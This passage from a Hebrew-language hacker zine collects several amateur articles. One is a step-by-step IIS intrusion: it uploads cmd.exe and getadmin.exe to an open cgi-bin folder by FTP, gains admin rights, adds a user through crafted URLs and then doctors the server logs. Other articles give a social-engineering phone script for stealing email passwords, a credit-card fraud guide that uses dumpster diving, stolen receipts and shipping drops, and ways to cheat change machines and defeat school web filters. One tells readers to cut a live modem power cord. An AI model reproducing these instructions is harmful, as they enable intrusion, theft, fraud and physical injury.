.5מוחקים את הקבצים הבאים ,בספריה של ווינדוס .אם הם לא קיימים ,זה בסדר.
פשוט זה תלוי איזה גרסה של סייברפטרול יש לכם.
ilc.exe
iic.exe
lic.exe
llc.exe
ic.exe
lc.exe
icfire.exe
lcfire.exe
icp.log
lcp.log
nt16.dll
ts.dll
ts16.dll
ts32.dll
tsnt.dll
tsntx.exe
usage.log
usage5.log
llc.exe
עכשיו תעשו ריסט ותפעילו את ווינדוס כרגיל .זהו! אין סייבר פטרול!
אם אתם רוצים לנקות ממש ממש ,תמחקו מהרג'יסטרי את מה שמפעיל את סייבר פטרול
ככה:
-תפעילו את הקובץ regedit.exe
-תמחקו את ה registry keys-האלו:
HKEY_LOCAL_MACHINE\SOFTWARE\CYBER PATROL
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTV
ERSION\RUN\CYBER
PATROL
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTV
ERSION\UNINSTALL\CYBER
PATROL
זהו! גמרנו! סייבר פטרול הלך ולא יחזור! לפחות עד שבית הספר יעלה על זה ויתקינו
אותו
עוד פעם .ואתם תמחקו אותו עוד פעם .והם יעלו על זה ויתקינו אותו עוד פעם .ואתם
תמחקו.
וככה עד שתסיימו את בית ספר .או שלא.
84
פריצה לאתרים – דוגמאות לאקספלויטים
Hello motherfucker
שיא עולמי :תגידו קרה פעם שמישהו התקשר אליכם ולא עניתם ואחרי פחות מחצי שעה ראיתם
39שיחות שלא נענו? (זיפ בטח מחייך עכשיו).
ועכשיו קצת חדשות :זוכרים שאמרתי לכם לפני שנים על כנס ההאקרים השנה? אז זהווו שיש
פגישת מארגנים בשבוע הבא (תאכלו את הלב יהיה לי חולצה של מארגן) אז מאוד בקרוב אני
אהיה חכמה יותר להגיד לכם מה חדש .בטח עד שהכתבה הזאת תתפרסם כבר אני אדע מה קורה.
והיום ילדים ,נלמד שיטה לפריצת אתרים! ממש ככה .אתם תלמדו היום איך לפרוץ מערכות
פגיעות עם מנהלים טפשים ששכחו לחסום גישה לתיקייה בשם !!cgi-bin
זוהי הכתבה הראשונה בסדרת כתבות על :IIS
(ייתכן שיקח לי עוד זמן לפרסם את השאר ,אז אנא האזרו בשבלולנות)
בכתבות הבאות בנושא אני אסביר יותר לעומק מה זה IISואיך היא עובדת ,ולכן לצורך העניין
הסברתי כאן ממש בכלליות .אז אני גאה להציג את...
========================================================
IIS HACKING NO.1 : HOW TO HACK THROUGH THE CGI-BIN
========================================================
כן כן ,ממש להשיג ...admin rights
הפריצה:
טוב ...נסו את ה .FTPפורט .21אם אין לכם חשבון על אותו שרת ,נסו להכנס בשם
anonymous
(בחלון דוס ,הקלידו:
ftp www.victim.com
המחשב יגיב:
.Connected to www.company.com
85
.)VICTIM Microsoft FTP Service )Version 3.0 220
((User : )www.comapny.com:)none
הקלידו:
anonymous
השרת יבקש כתובת אימייל בתור סיסמה .המציאו משהו.
) password gehenom@underground.com
כעת ,שימו לב שהשרת אמר את השם שלו.)VICTIM Microsoft FTP Service )Version 3.0 :
שם השרת הוא .VICTIMזה אומר ,שבמערכת ה IISחשבון ה anonymousיקרא
.IUSR_VICTIMנזכור זאת לשימוש מאוחר יותר.
השיטה הזאת תעבוד אך ורק אם יש לכם הרשאה להעלות קבצים לספריה .cgi-binנסו להכנס
לספריה זו באמצעות
( cdלחצו על אנטר)
. cgi-bin
(כדי לבדוק באיזה ספריה אתם ,הפקודה.)pwd :
נניח שהצלחתם להכנס לתיקיה בלי ,access deniedנסו להעלות קובץ לשרת .צרו קובץ טקסט
ריק לדוגמה ונסו להעלות אותו באמצעות הפקודה:
put c:\mytext.txt
אם הפקודה תתבצע כראוי תראו שהשרת מקבל את הקובץ ומאשר את הקבלהPORT 200 :
.command successful
הקלידו
dir
כדי לראות את רשימת הקבצים.
הצלחתם להעלות קובץ ל ?cgi-binאתם מסודרים.
כעת ,לאלה מכם שמשתמשים ב ,NTבדקו אם יש לכם את הקבצים cmd.exe, gasys.dllו
getadmin.exe
לאלה מכם שלא על NTאו לאלה מכם שכן אבל אין להם את הקבצים הנ"ל ,לכו למנוע החיפוש
החביב עליכם והשיגו את הקבצים( .או בקשו ממשתמשי NTאת .)cmd.exe, gasys.dllבכל
מקרה ,את getadmin.exeלא קשה להשיג.
ועכשיווו ...פתחו את ה FTPשוב ,והקלידו
( binaryפתיחת התקשרות לקבלת קובץ בינארי)
ואז
put cmd.exe
put gasys.dll
put getadmin.exe
סגרו את ה .FTP
כעת ,פתחו את הדפדפן שלכם והקלידו:
http://www.company.com/cgi-bin/getadmin.exe?IUSR_VICTIM
הדפדפן יענה:
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP
.headers
אתם יודעים מה זה אומר? שכעת למשתמש IUSR_VICTIMיש הרשאות של משתמש על!
(אדמין) .בואו ניצור חשבון חדש בשם gehenomשסיסמתו תהיה .underground :שוב בחלון
הדפדפן הקלידו
http://www.company.com/cgi-
bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20gehenom%20underground
%20/add
וכדי לתת גם לחשבון הזה זכויות של משתמש על,
http://www.company.com/cgi-bin/getadmin.exe?gehenom
86
כעת התחברו שוב ל ,FTPאבל הפעם בתור המשתמש gehenomוהסיסמה .password
זהו! עכשיו אתם שולטים במערכת! אם אתם משתמשים ב NTאתם יכולים להעזר ב User
Managerוב Server Managerכדי לשלוט על המערכת.
קחו כוס קולה ,תחגגו את הרגע ,ואז תעשו מה שתמיד חלמתם לעשות על אותה מערכת (אני לא
ממליצה למחוק קבצים ,זה סתם מנייאקי)
ניקיון:
אל תשכחו להכנס לכונן ( C$מוסתר) לספריה Winnt\system32\logfilesולעדכן את הלוג של
אותו יום ,זאת אומרת למחוק כל זכר לכך שהייתם שם .שמרו את הלוג החדש .אם זה עושה לכם
בעיות ,לפחות שנו את התאריך של הלוג כדי לא להחשיד:
http://www.company.com/cgi-bin/cmd.exe?/c%20date%2002/02/98
אל תשכחו להוריד מהאנונימוס את הרשאות משתמש העל ,ולמחוק את החשבון שיצרתם (
)gehenomואת הקבצים שהעלתם לשרת
(dele cmd.exe
dele gasys.dll
)dele getadmin.exe
בדקו אם אין עוד לוגים ששכחתם לעדכן ,ועזבו את השרת.
יש לציין כי השיטה עובדת *רק* במקרה שיש גישה ל cgi-binורשות להעלות קבצים ,וזה מאוד
מאוד נדיר למצוא שרת כ"כ פגיע.
למה זה עובד?
כי ב IISספריית ה cgi-binמשמשת לאחסון סקריפטים שהמשתמש יכול להריץ .אם העליתם
לשם אקספלוייט (במקרה שלנו )getadmin.exeהשרת יכול להריץ אותו דרך שורת הכתובת (ז"א
דרך הדפדפן) .בניגוד לספריות אחרות על השרת ,קובץ המועלה ל cgi-binרץ על השרת *עצמו*
ולא על המחשב שלכם! לכן כאשר מעלים לשם אקספלוייט הוא ירוץ על המערכת עצמה ויפרוץ
אותה.
קרדיטים:
את השיטה הזאת למדתי מקובץ בשם hacking-ntשמאוד קל למצוא על האינטרנט
למעוניינים חפשו ,hacking-ntזהו הקובץ שמתחיל במילים:
.Johnny Hacker has a Windows NT Server at home
87
איך לשפר ביצועים ועד איך לחבל במודמים
[]HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP
""DefaultRcvWindow"="64245
------------------------------------------------------------------------------------
הקובץ הזה בעצם משנה כמה דברים ברג'יסטי אבל אני לא אפרט כי זה לא נחוץ לנו.
אתם יכולים לשחק עם הטווח אבל תיזהרו לא לקפוץ למרחקים שלא תחזרו מהם.
תלכו מקסימום 12מספרים קדימה או אחורה.
.64257 >- 64245 -< 64233
אנרכיה -אם ברצונכם להרוס את המודם טוטאלית אבל בדרך מקורית...
מאחורי המודם יש שם כפתור אשר מאפס את המודם ( )Restartאשר עליו תלחצו עם מוט ,קיסם
וכו'.
שימו שם את הפריט שאיתו אתם לוחצים והדביקו אם צלוטייפ (או כל חומר דביק אחר).
מה קורה עכשיו :האיפוס ימשיך הרבה זמן והמודם יתחיל להתחרפן,
תהיה הפסקת חשמל קטנה אבל אתם כולה מחזירים את הפלאג בארון החשמל למקום.
אל תשכחו לוודאות שבזמן שאתם עושים את הנ"ל המודם מחובר לחשמל !!!!!!
(אבל שלא יהיה מחובר למחשב ,מומלץ ,כי זה יכול גם אתם יודעים ,לשרוף משהו בבלוק).
-------------------------------------------------------------------------------------
מודם אורכית של בזק:
-------------------
מודם קטן ויפיפיה אשר לא מוגבל.
אנשים עם מודם כזה לא יורדים מהמאה חמישים קיי בהורדה ומעלים מהירות נורמלית.
ממוצע של מודם אורכית :
: Test
*)341kb/s )Down
*)102kb/s )Up
88
אבל גם את זה אפשר לשפר.
מה עושים :יש שני שיטות שאני מכיר והם הכי טובות:
.1
.Go to NETWORK , press on Proporties
.Choose DIAL-UP ADAPTER, press on Proporties
.Go to Advanced, go to Ip PACKTE SIZE
.change the value from Automatic to ------ >> MEDIUM
.2פתחו קובץ REGחדש וכתוב שם:
------------------------------------------------------------------------------------
REGEDIT4
[]HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP
""DefaultRcvWindow"="64249
------------------------------------------------------------------------------------
אנרכיה :
דרכים להרוס מודם אורכית:
על מודם האורכית הנחמד שלנו אין כפתורים לאיפוס ובלה בלה.
אז פשוט קחו את החוט אשר יוצא מהמודם לחשמל ,פתחו אותו אם סכין ,חשפו את החוטים
בפנים,
תחכתכו אחד מהחוטים אשר תמצאו בפנים וחברו שוב לחשמל ,אני לא מספר מה קורה ,אם
אתם רוצים לדעת ,
תנסו ,למרות שאני לא ממליץ בחום !!!
------------------------------------------------------------------------------------
הסברים אחרונים למאותגרים שלא הבינו מה עושים.
* לאחר שכותבים קובץ ,REGשומרים אותו ,אז מפעילים אותו ,הוא ישאל אתכם בלה בלה ואז
אומרים "כן".
** מודם אלקטל לא תמיד יהיה מסריח וגם אורכית לא תמיד יהיה טוב ,יש עוד פרמטרים אשר
קובעים מהירות:
.1המרחק מהמרכזיה לבית שלכם.
.2החוטים של הטלפון ,חדשים ישנים סדוקים גמורים או מה ...ככל שיותר חדשים יותר טוב.
*** עכשיו שימו לב השיטות של שיפור הביצועים היא לא תמיד תעבוד ,זה תלוי במרכזיה אשר
בעיר שלכם
אם היא ישנה יחסית לשירות אז זה יעבוד אבל אם היא חדשה אז תשכחו מזה !!!!
זהו ,רק שתדעו בזק הם בני זונות אשר גונבים כספים ואני ממליץ:
"רק למי שיש כסף בצד שיתחבר ,כי לאנשים יותר פשוטים עדיך להוציא את הכסף על דברים
אחרים,
כמוני .))))))))))):
-------------עודכן ביום חמישי ------------- 22/02/01 ,ע"י פירסינג -------------------------
זוכרים שכתבתי למעלה שעושים למודם אורכית ( )restartריבוט ע"י הוצאה מהחשמל ! אל תעשו
את זה.
שמועות הגיעו לאוזני ממקורות פנימיים בחברה אשר מייצרת את המודמים שכשאר מוציאים את
הכבל,
של המודם מהחשמל הוא פוגע בפינים של המודם ( .)PIN2ולאחר הרבה פעמים יכול לגרום
לשריפה של המודם.
אז כמובן אני פה מביא לכם שיטה ממש טובה לאתחל את המודן בלי להוציא אותו מהחשמל.
עושים ככה
Start -> Run -> telnet 10.0.0.138
יפתח לכם טרמינל שהוא בעצם למודם.
אם אתם רוצים לעשות ישר ריבוט תכתבו את זה .קודם כל תצטרכו סיסמא (לקח לי שנים לגלות
אותה(לפצח))
password = XXXXXXXX
[ )XXXXXXXX] = )passwordכן כן ,בזק הדפוקים שמו על המודם את הסיסמא הנפוצה
ביותר (.)passwordץ
89
אז הססימא היא passwordואז אתם יכולים לעשות שתי דברים:
.1לכתוב HELPולקבל את כל התכונות שאפשר לשנות,
אבל אני לא ממליץ לגעת שם רק אם אתם יודעים מה אתם עושים.
.2לכתוב resetולחכות .הוא יתאחל בשבילכם את המודם והכל יהיה בסדר.
מקווה שזה תוסף נאה והראה לכם עוד דברים על המודם אורכית ועל בזק.
נ.ב .בזק הגבילה את המרכזיות שוב פעם בתאריך 19/02/01אז אם אתם משמ גולשים לאט
עכשיו,
אז בזק אשמים תתבעו אותם או תתנתקו מהם (זה מה שאני הייתי עושה).
אם אתם באותה מהירות עדיין אז יש לכם מזל ואני כמעט בטוח שכל מי שעם מודם אורכית
נשאר רגיל.
אני מה זה מרחם עליכם -מחזיקי אלקטל !
Pirs[i]ng
90
שימוש בפסיכולוגיה כדי לגנוב סיסמאות.
הערות/אזהרות כלליות:
אנו ,ארגון ההאקרים הישראלי ,לא אחראים לשום נזק שייגרם עקב הקריאה הן בצד המשפטי
והן בצד הפיזי ,כל האחריות מוטלת על הקורא בלבד!
טקסט זה נכתב על מנת להעביר למשתמש יידע נוסף ולא על מנת לגרום נזק כלשהו!
יש כיום המון שיטות לגניבת כל מיני סיסמאות בכדי להשיג גישה לכל מיני דברים.
אני אראה לכם שיטה אחידה שעובדת להשגת כל סוגי הסיסמאות .לא צריכים כל ידע קודם
במחשבים.
מה שכן צריכים זה אמצעי תיקשור כגון אימייל ,טלפון ,דואר וכו'.
איך זה עובד? אני אתן דוגמא.
הטלפון בבית של משפחת פדלמן מצלצל .מר פדלמן עונה .השיחה מתנהלת...
אתם :נכון מאוד .לכן אני מתקשר .האם במקרה ניסית לגשת לאימייל שלך היום?
אתם :הממ ,כן ,גם אני .היו לנו בעיות עם שרת הדואר .הוא קרס וכל החשבונות נמחקו.
מר פדלמן :וואי ...מה אתה אומר? אז כמה זמן ייקח עד שאני אוכל לבדוק שוב את האימייל שלי?
אתם :אני מקווה שהכל יתוקן בדקות הקרובות .אני אחראי על איסוף המידע מחדש והכנסתו
חזרה למחשב.
האם במקרה את הזוכר מה היה שם המשתמש שלך?
אתם :כן .זה החלק שבא לפני סימן ה @ בכתובת האימייל שלך.
מר פדלמן :אני חייב לבחור סיסמא חדשה ,או שאני יכול גם להשתמש בישנה?
91
מר פדלמן :תודה רבה.
-סוף שיחה-
By waMaw
92
קטעים מהביוגרפיה של ההאקר המפורסם בעולם שסופרו ע"י האסיר פיאו לי.
הוא ישב בכלא במשך יותר 5שנים .בית הסוהר של לוס-אנג'לס ,תודות לו הכי מפורסם בעולם
הווירטואלי .כמו כן הכי שמור במדינה כולה.
במשך כל אותו הזמן הוא התנגד ,ניסה להוכיח את חפותו.
"מה שהניע אותי היה סקרנות ילדותית פשוטה ,יכולתי להיכנס לביתכם ,לעלעל בספרי הספרייה
שלכם ,לפתוח את המקרר שלכם… אבל אני מעולם לא לקחתי דבר".
בספטמבר 1998הוגש נגדו כתב אישום ,התובע דרש בידיד של מאתיים שנים מהעולם החיצון…
רוצח בקליפורניה ,במקרה הכי טוב יקבל 3שנות מאסר .אילו קווין מיטניק היה רוצח ,הוא בטח
היה משתחרר בפחות זמן .אבל ,הוא לא רצח אף אחד.
ב 4באפריל ,1999 ,אסיר בית בכלא הסגור של לוס-אנג'לס מספר 89950-012קווין דויד מיטניק
(נולד ב )6.8.1963הודה באשמה והגיע לעסקת טיעון עם הרשויות.
"… האם אי פעם שדדו אותך בלילה ,בסמטה חשוכה? כאשר יש לך סכין על הגרון ,אתה ממש
מצטער שבכיסים יש לך יש רק גרושים .אתה יודע איך זה עובד ,אתה יושב 3שבועות ,לבד ,מת
משעמום .אחרי זאת מביאים לך תנ"ך מקומט בכריכה רכה וזוג ספרים של שומרי החוק
השנואים ,בכל אחד מהם ,עשרות סיפורים על איך איזה חרא גנב את הארנק מסבתא זקנה ובגלל
זה היא לא יכלה לקנות לעצמה תרופות ו 911לא יכלו לעזור לה .וזהו .אתה מבין שאתה כבר לא
יכול לצאת מזה .אבל ,אני לא ממש מאמין שהחבר שלנו קנה את זה ,הוא הרי גאון מטומטם ,יכול
להיות שחשב על משהו…"
הנה לפניכם כרונולוגיה של הפעולות הלא חוקיות הראשוניות של "מלך ההאקרים של כדור
הארץ":
שנות השבעים .פריקינג ( ,)phreakingידוע יותר כפשע הקשור בטלפון ,הפיכת הטלפון הביתי שלו
למאין טלפון ציבורי ,בהרמת השפופרת ,במקום צליל של קו שומעים קול צרוד של גבר המבקש
להכניס 20סנט.
– 1980פריצה לרשת המחשבים של סגל בית הספר שלו ,לא נגע לא במאגר הציונים ולא בקבצים
האישיים של המנהל ,קווין ניסה את כוחו בלבד.
– 1981פריצה מוצלחת לרשת המחשבים של מערכת חיל האוויר במדינתו ,מדינת קולורדו.
קיבל נזיפה מהרשויות.
– 1982לא ממש פריצה במובן של מחשבים ,קוויו ועוד שני חברי הצליחו לחדור לבניין של חברת
Pacific Bellולגנוב ספרי הדרכה של COSMOS’yושל . MicroPort’y
המעצר הראשון – 3חודשים בלוס-אנג'לס ,במרכז הטיפול בעבריינים צעירים +שנה על תנאי.
93
שבועיים אחרי השחרור ,מעצר של 6חודשים על שימוש לא חוקי במחשב האוניברסיטה לצורך
גישה לרשת ה ARPHANetשל הפנטגון.
שחצי שנה הזאת ה ARPHANetהפכה לרשת לצורכי חינוך בלבד ,וקווין לאחד המומחים
הטובים ביותר בנושא הטלפונים הסולריים ובנושא רשתות מחשבים.
"… הוא היה ילדון ,אוקי? ואני סחבתי בשבילו ספרים מהספרייה ,אז קראו לו עכברוש ,הוא נגס
בסלע מדעי השטן ביהירות רבה .הוא עצמו אהב שקראו לו "קונדור" .איך שהילדים הלבנים
האלה אוהבים כינויים קולנועיים…"
במשך 5השנים הבאות קווין הצליח להימנע מסכסוכים עם החוק ,כלפי חוץ ,הוא ניהל חיים
משפחתיים שקטים בעיר קליפורנית קטנה – "אלך האלונים" ( .)Thousand Oaksסוף האידיליה
קרה בסמוך לחג המולד בשנת .1987
3 – 1988שנים על תנאי ,על גניבת תוכנות מחברת , Santa Cruz Operationבסוף השנה קווין
שוב מאחורי הסורגים .הוא מואשם בגניבת קוד מקור פרטי ממעבדת המחקר של
Digital Equipment Corporationשנמצאת בפאלו אלטה ,המטרה הייתה גרסה לא חוקית של
מערכת ההפעלה . VMSדבר זה עלה לקווין בשנת מעצר.
חוץ מזה קווין נשלח לקורס של "ריפוי מהתמכרות למחשבים" של 6חודשים.
בשנים הבאות ,חייו של מיטניק נכנסים לנתיב נורמלי ,ואז פתאום ,מות אחיו ,האדם הקרוב אליו
ביותר.
את הפעולות הבאות של מיטניק מסבירים בצורות שונות ,יש האומרים שזה ניסיון להלחם
בדיכאון ויש הטוענים שזה הרצון להשיג כמה שיותר כסף בפרק זמן קצר.
בזמן הזה הוא חשוד בבקשה לקבלת מסמכים סודיים ממשרד התחבורה של ארה"ב ,הבקשה
נענתה כיוון שהיא נשלחה ממשטרת המדינה.
כמו כן הוא חשוד בפריצה לרשתות הפנטגון וה FBIבאותה שנת .1992
מנסים לתלו עליו את האשמה בציתות למחלקת האבטחה של חברת .Pacific Bell
ה FBIעורך חיפוש בביתו של קווין ,המצב מתלקח ומיטניק נעלם למספר שנים.
בין השנים 1994 – 1992הוא חי בשקט בסיאטל תחת השם בראיין מריל .בתקופה הזאת
חושדים שהוא אחראי לגניבת מערכות הבקרה של תקשורת סלולרית של החברות Motorola,
Nokiaו , .McCaw Cellular Communication Incפריצה של מערכת האבטחה של חברת
,Sun Microsystemsוגם גניבת גרסת ההרצה של מערכת אבטחת הרשתות . SATAN
אז הוא כמעט נתפס ,המשטרה הצליחה לעלות בחכתה מספר טלפונים סלולריים ,ספרים
בנושאים של מחשבים ,רשתות ותקשורת ומכשיר להאזנה לתדר של המשטרה.
חג המולד – 1994כמתנת חג החליט קווין להביא לעולם משחק חתול-עכבר עם אחד המומחים
הגדולים ביותר בעולם במערכות אבטחה – ציטומו שימומורה.
ציטומו לא רק שהיה מוכן למשחק עם קווין אלא גם הכין לו מלכודת ,למעשה כל אחד יכל ליפול
בפח הזה ,לא הייתה כאן מטרה לתפוס את קווין.
מבחוץ הכל נראה כך:
המומחה הבינלאומי לאבטחת מחשבים ,ציטומו שימומורה נסע לחופשה לנבדה ו"שכח" לנתק מן
הרשת את מחשבו המוגן .המלכודת הייתה בכך שכל דבר שקרה במחשב תועד בלוג במחשב אחר.
כאשר המחשב נפרץ ,ציטומו מיד קיבל על כך הודעה.
לפי המומחיות של הפריצה ,הפיתיון נתפס ע"י מישהו משהו גדול.
94
אם קודם ציטומו לא התכוון לנקום ,אך אחרי שלא רק נגנבו ממחשבו קבצים ותוכנות אבטחה,
גם הושארו הודעות קוליות מעליבות.
ציטומו התחיל לפעול לתפיסתו של מיטניק ,הוא פנה בבקשת עזרה ל FBIולבסוף הצליח לגלות
את מיקומו של מיטניק ברדיוס של 2ק"מ.
ב 15בפברואר 1995בשעה 01.30קווין נתפס.
ב 21.01.2000קווין שוחרר לבסוף ,אבל עדיין אסור לו להשתמש במחשב ולהעביר הרצאות
בנושא מחשבים ולעבוד בכל משרה הקשורה למחשבים עד ה ,20.02.2003כאשר יהיה חופשי
באופן סופי.
מעצרו של קווין לא הועיל הרבה בניסיון להפסיק את פעולות ההאקרים ,אפילו נתן זיקה לפעולות
אלו כי במשך מעצרו המון האקרים פרצו לאתרים שונים תחת הסיסמא "חופש לקווין" – FREE
.KEVIN
By Boris
95
כסף חינם
כאן .E-man
היום אני אכתוב על .Carding
Cardingהוא מונח שהומצא לשיטה שבא אנשים קונים בכרטיסי אשראי לא-שלהם באינטרנט.
זהו דבר מאוד מסוכן ולא מומלץ למתחילים שבנינו.
אני אכתוב על תהליך ה cardingמההתחלה ,עד הסוף (הטוב והמר)
אז בואו נתחיל.
קודם כל ,אתם בטח שואלי ,מאיפה לעזאזל אני ישיג אשראי???
אז הנה התשובה:
יש שלוש שיטות שאני יודע עליהן ,אני יתחיל מהמומלצת ביותר עד לא הכי מומלצת.
)1אתם מכירים את החנויות העניות האלה שעדיין משתמשות ב"מגהץ" לחיוב אשראי?
אלו הן המטרות שלכם! לכו בלילה לפח שמאחורי החנות (לא לשכוח לבוא עם בגדים ישנים
ושחורים,פנס ותיק של טיול השנתי )
קפצו פנימה! אתם תגלו שכרגע קפצתם לאשפה הכי נקייה שראיתם בחיים .חוץ מניירות ,לא
יהיה שם כלום .בכל מקרה ,תפעילו את הפנס שלכם ותתחילו לחפש ניירות קטנים כאלה בצבע
אפור.
בדרך כלל הם נמצאים איזה חבילה של 100בכל שקית זבל .מצאתם? יופי! יש לנו כרגע כרטיסי
אשראי! (תלוי כמה היו שם) .במקרה שבאמצע החיפוש שלכם אתם נתקלים בשומר ,אל תזוזו!
אם הוא שמע אותם ,ואומר לכם לצאת ,אל תצאו ,תתחילו לעשות קולות מפחידים ,זה בדרך כלל
עובד (אתם יודעים ,לילה חשוך והוא לבד ,הוא מפחד בדיוק כמוכם -כי שומרים פשוט לא יודעים
מה הם רוצים מהחיים שלהם ,או תדחפו לו כמה דולרים(שוחד) ) .אם הוא עדיין עומד שם ואומר
לכם לצאת ,תכוונו עליו את הפנס שלכם ,ובעוד הוא מסתנוור ,תברחו משם! -כמו שאתם תברחו
ממחבל (רק אם אתם יכולים לקחת את השקית ,קחו אותה) .הגעתם הביתה? אל תצאו מהבית
לפחות שבועיים (לבית ספר מותר ):מצטער .) ):
)2תפרצו ...לא ממש לבוא ולשבור חלונות ,אני מתכוון .hackingאבל זה רק למי שיודע.
)3זאת השיטה הכי פחות לא מומלצת .אתם מכירים את המכונות להשכרת סרטים נכון? אתם
יודעים שאחרי שיוצא הסרט גם יוצאת חשבונית שעליה כתוב מספר כרטיס האשראי? עכשיו כן.
בכל מקרה ,תעמדו ליד המכונה כאילו אתם רוצים לבחור סרט ,וכשמישהו אחר בא ומשכיר סרט,
קחו את החשבונית ותברחו משם!
*** רק אם לאותו אחד שבא להשכיר סרט יש כרטיס אשראי בין לאומי (אני יגיד מהם בהמשך)
אז עושים את השיטה הזאת.
אוקי ,בהנחה שהגעתם הביתה בריאים ושלמים (טוב ..רק שלמים) אפשר להתחיל את המיון!
תמיינו ככה,
כרטיסי אשראי שמתחילים ב 60 ,52 - 51 ,49 - 40 :ו ( 37זה כל מה שאני יודע מהסדרה של )3
בצד ימין
)1תשיגו מחשב שיש לו גישה לאינטרנט והוא לא בבית שלכם (בית ספר וספרייה זה מושלם).
96
)2חובה אישור לעבודה על המחשב הזה.
תביאו אתכם כרטיס אשראי אחד מהרשימה שלכם ,כנסו לאתר שבו אתם רוצים לקנות ,ותקנו!
(אבל רק תוכנות להורדה בתשלום! לא לשלוח שום דבר הביתה!!!) .במקרה שהאתר רוצה שגם
תבחרו באיזה סוג כרטיס אשראי אתם משלמים חוץ מהמספר ,הנה הסוגים:
:49 - 40ויזה
:52 - 51מאסטרכארד
:60דיסקברי
:37אמריקן אקספרס
אם אתם רוצים לקנות דברים שצריך לשלוח הביתה ,זה כבר סיפור אחר ,אתם צריכים "."Drops
Dropsהם אנשים בעולם שאליהם אתם שולחים את מה שקניתם והם שולחים את זה אליכם
הביתה ,ככה המשטרה לא יודעת מה קרה לחבילה.
אחרי שמצאתם לפחות 2דרופים ,תגידו להם (אל תגידו שיש לכם 2דרופים ,לכל דרופ תגידו
שהוא הדרופ היחיד) שאתם צריכים דרופ בלהבלה ותבקשו כתובת .יש לכם 2כתובות? מגניב!
עכשיו תגידו לאחר הדרופים שהוא הולך לקבל חבילה בימים הקרובים והוא צריך לשלוח את זה
אליכם הביתה ,אבל אל תתנו לו את הכתובת של הבית ,אלה את הכתובת של הדרופ השני! לדרופ
השני (הכי טוב שיהיה ישראלי) תגידו לשלוח לכם את זה הביתה ותנו לו את הכתובת האמיתית.
אם אתם ממש רוצים והדרופ הוא ישראלי ,אפשר גם ללכת להפגש איתו אישית ולקחת את
החבילה ,אני ממליץ על זה.
אל תשכחו לשלוח לכל דרופ משהו (מתנה בשויי 20דולר תספיק ,כמובן מהכרטיס אשראי ולא
מהכסף שלכם .) ):
תתחדשו.
]By E-man [I.C.F
97
עוד שיטה -כסף חינם – בלי דרופים
.1אם אין לכם כוח לחפש דרופים שלחו את החבילה לבית נטוש או שעדיין לא התיישבו בו וכל.
.2הכינו מכתב שאומר:
__________________________________________________________
| | שלום אני מר "השם שקראתם לעצמכם בהזמנה "
| | מס' ת.ז" .מספר"
| | מס' "כרטיס אשראי"
| | מבקש להשאיר את החבילה ליד הדלת כאשר אני לא נמצא בבית
|
תודה רבה |
מר " השם שלו " |
חתימה |
|__________________________________________________________
*סליחה אבל לא היה לי כוח להשלים את הפסים שמשמאל ( מה זה משנה )...
שהכל יראה אוטנטי ואמיתי .כי אם לא חבל עליכם ....
.3כל יום תבוא ב 7אחר הצהרים לבדוק את הבית ואם אתם רואים את החבילה קחו אותה
ותברחו ...כמה שיותר מהר .
98
איך לקבל אינטרנט יותר זול מכולם? מאת E-man
מושגים :
= ISPספק אינטרנט .
---------------------------
אתם בטח יודעם כמה יקר השימוש באינטרנט בישראל...
19$לחודש..
אחותי ,על מה?
אם אתם חושבים כמוני ,זה בשבילכם:
הנה ההוראות:
)3אחרי שעברו ה 3-חודשים המפרכים האלה ,ה ISPשאליו נרשמתם ישאלו אתכם אם תרצו
להמשיך את תקופת הניסיון
תגידו שאתם לא רוצים כי ISPמתחרה (שאותו תכינו מראש ונסביר עליו בהמשך) הציע לכם
מחיר טוב יותר.
)4בינתיים ב ISPהמתחרה ,תשאלו אם כדאי לכם לעבור מה ISPהקודם שנרשמתם אליו ל ISP
הזה ,כמובן שתקבלו "כן! בטח!" תגידו שאתם לא בטוחים כי ה ISPהקודם יותר טוב ,הם ישאלו
למספר טלפון ושם ויגידו ביי
תגידו את זה ל ISPהקודם ותקבלו אינטרנט חינם! (כמובן לא חופשי חודשי אבל גם זה שווה!)
99
מזומן חינם – ...איך לעבוד על מכונות שפורטות כסף
המאמר הזה יעסוק בדבר שכולנו אוהבים וצריכים (לא סקס יא ראש כחול!)
אני מדבר על $$$כסף ,$$$מי לא אוהב כסף?
מי לא צריך כסף?
מי לא משתמש בכסף?
מכונות כאלה* ,אחרי* שקראו את השטר ופרטו אותו ,רק אז הן בולעות את השטר!
זאת אומרת שאנחנו לא רוצים לתת למכונה לקחת לנו את השטר היקר מכל שלנו.
אמצע
||----------------------------------
| 20 |
| |
| |
| שטר |
| |
| |
| | 20
||----------------------------------
100
===================================|-----------------------
מקרא > = = :מסקנטייפ
)3מכניסים את השטר המחובר למסקנטייפ למכונה ופורטים את הכסף (אל תעזבו את השטר!!!)
כל היופי בדבר הזה שאפילו אם השטר נקרע ,עדיין קיבלתם את הסכום שלו חזרה במטבעות ):
(ואפשר להדביק אותו חזרה ...ועוד לקנות דברים בזה ).
]E-man [I.C.F
101
דיבור ללא תשלום בטלפון ציבורי
אני רוצה להתקשר לחבר שלי ! ואני לא רוצה להוציא שיחה מהפלאפון שלי כי זה עולה כסף !!
ואין לי הרבה טוקמן ! או שאני דיברתי יותר מידי החודש ! זה לא משנה ! העיקר שזה חינם !
מצרכים:
פלאפון מהסוגים הבאים נוקיה {משחקים בדוק}
סמסונג ! ועוד אני בדקתי על הסוגים האלה !
הפעולה:
אז עכשיו נלמד איך בדיוק עושים זאת !!
הולכים לטלפון ציבורי {רק על זה בדקתי} ומצמידים את הפרסקת של הפלאפון לפומית של
הטלפון הציבורי ! ומתחילים לחייג את המספר בפלאפון ! אבל לא לחייג כי זה יעלה לכם כסף !
אז פשוט ללחוץ את המספר
נגיד טוב ! אז ככה אני מצמיד את הבפרסקת {מאיפה דוגמא :המספר של חבר שלי הוא
ששומעים} של הפלאפון שלי !! לאיפה שמדברים בטלפון הציבורי ! ואני מתחיל לחייג את המספר
ולא לוחץ send שלו
בשום אופן כי אז זה יעלה כסף ! אבל ברגע שאני רושם את המספר והטלפון ציבורי שומעה את
המספרים ! והוא מתחיל לחייג ! יש טלפונים ציבורים ! שזה לא עובד עליהם זה מחייג אתה יכול
